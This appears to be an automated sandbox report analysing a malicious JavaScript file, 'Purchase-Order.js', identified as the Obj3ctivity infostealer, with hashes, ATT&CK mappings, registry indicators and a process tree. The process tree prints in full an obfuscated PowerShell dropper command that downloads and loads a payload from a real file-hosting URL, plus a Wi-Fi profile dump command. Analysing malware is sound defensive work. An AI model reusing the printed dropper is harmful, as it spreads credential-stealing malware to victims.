obj3ctivity | a367ebf98c40f810387c5485d083e4b7d0177046b67201af3dcfeb70b5e4e2bf

General

Target

Purchase-Order.js
Size

84KB
MD5

9365654ecf8a7829f0aa2d2b7d23ac34
SHA1

15f1d26d2c8298369f443398776ec2c7a60e6b22
SHA256

66a3a1836b0bf490bdcc66ff8bab7fc9ff210bbd646f1191d565f0d59be5cb1e
SHA512

f83d089d465c2f30bc233e6ec835455a9761f325bd74b97b50d9f15e9e554c88c8129bf978cfa4fe9faf1c4d60b661dc2e782503aaa88a596153aa66ddff16ef
SSDEEP

384:HZB5abmZB5abtZB5abdZB5abNZB5abtZB5abdZB5ab8ZB5abtZB5abdZB5ab+ZBc:TD

Score

10^/10

obj3ctivity collection discovery execution persistence privilege_escalation stealer

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://3005.filemail.com/api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5KcptA&pk_vid=342803d1cc4e3b801739359203b5fe9d

exe.dropper

https://3005.filemail.com/api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5KcptA&pk_vid=342803d1cc4e3b801739359203b5fe9d

Signatures

Detects Obj3ctivity Stage1 1 IoCs

Obj3ctivity aka PXRECVOWEIWOEI is an infostealer written in C#.

stealer

resource	yara_rule
behavioral2/memory/1496-21-0x0000000000400000-0x00000000004E6000-memory.dmp	family_obj3ctivity

Obj3ctivity family
obj3ctivity
Obj3ctivity, PXRECVOWEIWOEI
Obj3ctivity aka PXRECVOWEIWOEI is an infostealer written in C#.
stealer obj3ctivity

Blocklisted process makes network request 5 IoCs

flow	pid	Process
2	3796	wscript.exe
4	3796	wscript.exe
8	3796	wscript.exe
17	4560	powershell.exe
20	4560	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\Control Panel\International\Geo\Nation	wscript.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key opened	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key opened	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4560	powershell.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
22	icanhazip.com
25	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4560 set thread context of 1496	4560	powershell.exe	89

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
1800	cmd.exe
2228	netsh.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	MSBuild.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
4560	powershell.exe
4560	powershell.exe
1496	MSBuild.exe
1496	MSBuild.exe
1496	MSBuild.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4560	powershell.exe
Token: SeDebugPrivilege	1496	MSBuild.exe
Token: SeSecurityPrivilege	5080	msiexec.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 3796 wrote to memory of 4560	3796	wscript.exe	87
PID 3796 wrote to memory of 4560	3796	wscript.exe	87
PID 4560 wrote to memory of 1496	4560	powershell.exe	89
PID 4560 wrote to memory of 1496	4560	powershell.exe	89
PID 4560 wrote to memory of 1496	4560	powershell.exe	89
PID 4560 wrote to memory of 1496	4560	powershell.exe	89
PID 4560 wrote to memory of 1496	4560	powershell.exe	89
PID 4560 wrote to memory of 1496	4560	powershell.exe	89
PID 4560 wrote to memory of 1496	4560	powershell.exe	89
PID 4560 wrote to memory of 1496	4560	powershell.exe	89
PID 1496 wrote to memory of 1800	1496	MSBuild.exe	91
PID 1496 wrote to memory of 1800	1496	MSBuild.exe	91
PID 1496 wrote to memory of 1800	1496	MSBuild.exe	91
PID 1800 wrote to memory of 4596	1800	cmd.exe	94
PID 1800 wrote to memory of 4596	1800	cmd.exe	94
PID 1800 wrote to memory of 4596	1800	cmd.exe	94
PID 1800 wrote to memory of 2228	1800	cmd.exe	95
PID 1800 wrote to memory of 2228	1800	cmd.exe	95
PID 1800 wrote to memory of 2228	1800	cmd.exe	95
PID 1800 wrote to memory of 4532	1800	cmd.exe	96
PID 1800 wrote to memory of 4532	1800	cmd.exe	96
PID 1800 wrote to memory of 4532	1800	cmd.exe	96

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Purchase-Order.js
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3796
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$UnidhjRgKKzhTPiWiGRa = '#x#.291/elif/ofni.y#enin12//:sp##h';$gWAhKQJdbkhhZLxCpGKp = $UnidhjRgKKzhTPiWiGRa -replace '#', 't';$xtLxWkHbkWpAQuiWkeGk = 'https://3005.filemail.com/api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5KcptA&pk_vid=342803d1cc4e3b801739359203b5fe9d';$ZmjToziUoGGGoPiRvlWf = New-Object System.Net.WebClient;$toAlKiNbCWoZCUqLLPbi = $ZmjToziUoGGGoPiRvlWf.DownloadData($xtLxWkHbkWpAQuiWkeGk);$fviKhieWsliCKcmWfRJc = [System.Text.Encoding]::UTF8.GetString($toAlKiNbCWoZCUqLLPbi);$GUUKLKiLUCZcWCINoimL = '<<BASE64_START>>';$kPKUccQGOIWcjvULQLac = '<<BASE64_END>>';$cLizhWczkiuNCAWUPWzU = $fviKhieWsliCKcmWfRJc.IndexOf($GUUKLKiLUCZcWCINoimL);$toLvHLLKnlbfLKNbLzio = $fviKhieWsliCKcmWfRJc.IndexOf($kPKUccQGOIWcjvULQLac);$cLizhWczkiuNCAWUPWzU -ge 0 -and $toLvHLLKnlbfLKNbLzio -gt $cLizhWczkiuNCAWUPWzU;$cLizhWczkiuNCAWUPWzU += $GUUKLKiLUCZcWCINoimL.Length;$KOGeAZrivHurTklkvizT = $toLvHLLKnlbfLKNbLzio - $cLizhWczkiuNCAWUPWzU;$WWWikbbriKlWqNQuLCth = $fviKhieWsliCKcmWfRJc.Substring($cLizhWczkiuNCAWUPWzU, $KOGeAZrivHurTklkvizT);$BZGWkqbnqKroWSWLsAkc = [System.Convert]::FromBase64String($WWWikbbriKlWqNQuLCth);$flojPzlPiNpnLccdcaWa = [System.Reflection.Assembly]::Load($BZGWkqbnqKroWSWLsAkc);$JbGIehAKZCIWCuHLkicg = [dnlib.IO.Home].GetMethod('VAI').Invoke($null, [object[]] @($gWAhKQJdbkhhZLxCpGKp,'','','','MSBuild','','','','','','','','','',''))"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4560
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    - outlook_office_path
    - outlook_win_path
    PID:1496
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
      4⤵
      System Location Discovery: System Language Discovery
      System Network Configuration Discovery: Wi-Fi Discovery
      Suspicious use of WriteProcessMemory
      PID:1800
    - - C:\Windows\SysWOW64\chcp.com
        
        chcp 65001
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4596
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh wlan show profile
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:2228
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr All
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4532

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5080

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Event Triggered Execution

1

T1546

Netsh Helper DLL

1

T1546.007

Privilege Escalation

Event Triggered Execution

1

T1546

Netsh Helper DLL

1

T1546.007

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

Query Registry

System Information Discovery

3

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

System Network Configuration Discovery

1

T1016

Wi-Fi Discovery

1

T1016.002

Lateral Movement

Collection

Email Collection

1

T1114

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uevz3gv2.3hi.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1496-25-0x00000000057F0000-0x0000000005856000-memory.dmp

Filesize
408KB

Download
memory/1496-81-0x0000000007C70000-0x000000000819C000-memory.dmp

Filesize
5.2MB

Download
memory/1496-59-0x0000000006D60000-0x0000000006DD6000-memory.dmp

Filesize
472KB

Download
memory/1496-58-0x0000000007000000-0x0000000007092000-memory.dmp

Filesize
584KB

Download
memory/1496-54-0x0000000007190000-0x0000000007734000-memory.dmp

Filesize
5.6MB

Download
memory/1496-27-0x00000000065D0000-0x0000000006792000-memory.dmp

Filesize
1.8MB

Download
memory/1496-21-0x0000000000400000-0x00000000004E6000-memory.dmp

Filesize
920KB

Download
memory/1496-26-0x0000000006440000-0x0000000006452000-memory.dmp

Filesize
72KB

Download
memory/4560-18-0x00007FFEF2A70000-0x00007FFEF3531000-memory.dmp

Filesize
10.8MB

Download
memory/4560-24-0x00007FFEF2A70000-0x00007FFEF3531000-memory.dmp

Filesize
10.8MB

Download
memory/4560-20-0x0000025EBC0F0000-0x0000025EBC0FC000-memory.dmp

Filesize
48KB

Download
memory/4560-19-0x0000025EBE7C0000-0x0000025EBE9C6000-memory.dmp

Filesize
2.0MB

Download
memory/4560-6-0x00007FFEF2A73000-0x00007FFEF2A75000-memory.dmp

Filesize
8KB

Download
memory/4560-17-0x00007FFEF2A70000-0x00007FFEF3531000-memory.dmp

Filesize
10.8MB

Download
memory/4560-13-0x0000025EBC0C0000-0x0000025EBC0E2000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads